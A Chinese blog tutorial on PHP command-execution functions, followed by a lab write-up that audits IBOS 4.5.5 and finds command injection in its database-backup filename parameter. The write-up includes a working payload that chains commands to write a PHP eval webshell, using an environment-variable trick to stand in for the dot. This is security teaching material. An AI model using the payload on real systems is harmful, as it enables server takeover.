前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >php命令执行

php命令执行

作者头像
kam1
发布2022-03-08 13:57:56
6.6K0
发布2022-03-08 13:57:56
举报

一、命令执行相关知识

0x01. 什么是命令执行

:让php文件去执行cmd命令.

在命令行中使用echo “” > 1.php:

写一句话木马到1.php文件.(路径在命令行本级目录)

代码执行和命令执行的区别:

  • 代码执行:用户输入的数据被当做后端代码执行
  • 命令执行:用户输入的数据被当做系统命令执行(菜刀的终端实际上也是用的命令执行调用的cmd窗口)
0x02. php哪些函数可以做到命令执行:
1.system(‘whoami’):

php操纵计算机执行whoami命令,并且输出结果,可以看到多行

2.echo exec(‘whoami’):

php操纵计算机执行命令之后获取最后一行结果,需要配合echo使用

3.echo shell_exec(‘whoami’):

php操纵计算机执行命令之后,获取所有结果,但是不会自动输出,需要配合echo使用

4.passthru:

只调用命令,把命令的运行结果原样的输出到标准输出设备,和system差不多

5.``:

反引号其实就是调用shell_exec()函数

6.popen

(要执行的命令,参数)r是只读,w是写入: 执行之后返回值是一个指针,需要用到函数去读取,并且只读取一行数据

代码语言:javascript
复制
$a = popen(‘whoami’,‘r’);
echo foread($a,1024);

绕过waf运行命令执行方法大全: http://www.anquanke.com/post/id/208398

0x03. 如何同时执行两条命令

& 与符号,在命令行中 可以让一条语句执行两条命令。 比如: whoami&ipconfig 当第一条命令错误的时候,也会继续执行第二条命令。

命令行set: 查询本机所有环境变量

可以用echo %PATHEXT:~0,1%: 意思是输出环境变量pathext中的第一位

加百分号的意思是输出环境变量pathext的值,此方法类似php substr()函数 通过获取环境变量,对环境变量进行字符切割获得.然后拼接执行

echo %PATHEXT:~0,1%成功输出1.php

二、靶场-本地测试

靶场采用的是ibos4.5.5版本,找到源码,本地搭建进行代码审计。

安装完成后,先放在一边,打开代码审计软件,进行代码审计。

搜索了一下system没有找到相关函数,打开一个php文件,发现有一些打开正常,有一些打开又是乱码,那么可能源码部分被加密了。

到网站上测试出,加密是Zend53加密,并且可以被解密

批量解密后,将解密后的文件丢入代码审计软件,搜索命令执行相关函数 搜索system(无结果,那么就换exec()函数进行全局搜索。

追溯到这个函数所在的位置,进行代码解读

好像参数都不可控,这里用的是shell_exec(),是关于数据库的,那么再全局搜索一下shell_exec函数看有没有其他结果

第二条内容中有一条,mysqldump,数据库文件导出,点进去分析一下。

这里有一个dumpfile,其他与刚刚的文件相似,都无法控制,那么就继续全文搜索一下这个dumpfile是由什么决定的。

dumpfile是由backupFileName拼接.sql后缀,那么再看一下

前面都是返回的字符串,后面拼接了正则匹配函数,将filename中的/、\、.、'都替换成空,那么再看一下filename是由什么决定的

诶,这里仿佛可以被控制,因为这里filename是由传参所决定的。 回到shell_exec()函数,这里是跟数据库文件导出操作有关联,试着在网站后台看看是否有和数据库相关的操作。

这里好像确实和数据库有所关联,Mysqldump,提交备份抓包分析一下数据包中的内容。

传参中获取了filename传参,并且文件导出成功。

这时候可以拼接恶意语句,利用命令执行函数去生成一个带有一句话木马的php文件 构造语句:filename=xxbaqwe&echo "<?php eval($_REQUEST[1])?>">alva%PATHEXT:~0,1%php&123 因为&符号在post栏中有连接下一个传参的意思,所以可以将其写在get传参栏中,进行url编码,然后利用get传参自动解码达到效果。也可以在post传参中写,也需要url编码,因为这套源码是采用了一个框架,所以可以做到解码。

其实在这一个步骤我就消耗了接近两个小时,因为我上传文件,提示shell+权限被禁用,不管是在本地还是靶场,最开始的时候,报错了,我试着去访问,访问不到,然后后来我一直测试,一直提示这个报错,但是我一直都没有去访问这个文件。 最后还是在本地测试了一次,发现报错shell+权限被禁用但是备份文件生成了,然后在文件夹搜索生成的php文件也确实生成了。才知道,报错不用管,实际上文件已经生成了。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-07-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、命令执行相关知识
    • 0x01. 什么是命令执行
      • 0x02. php哪些函数可以做到命令执行:
        • 0x03. 如何同时执行两条命令
        • 二、靶场-本地测试
        相关产品与服务
        数据库
        云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档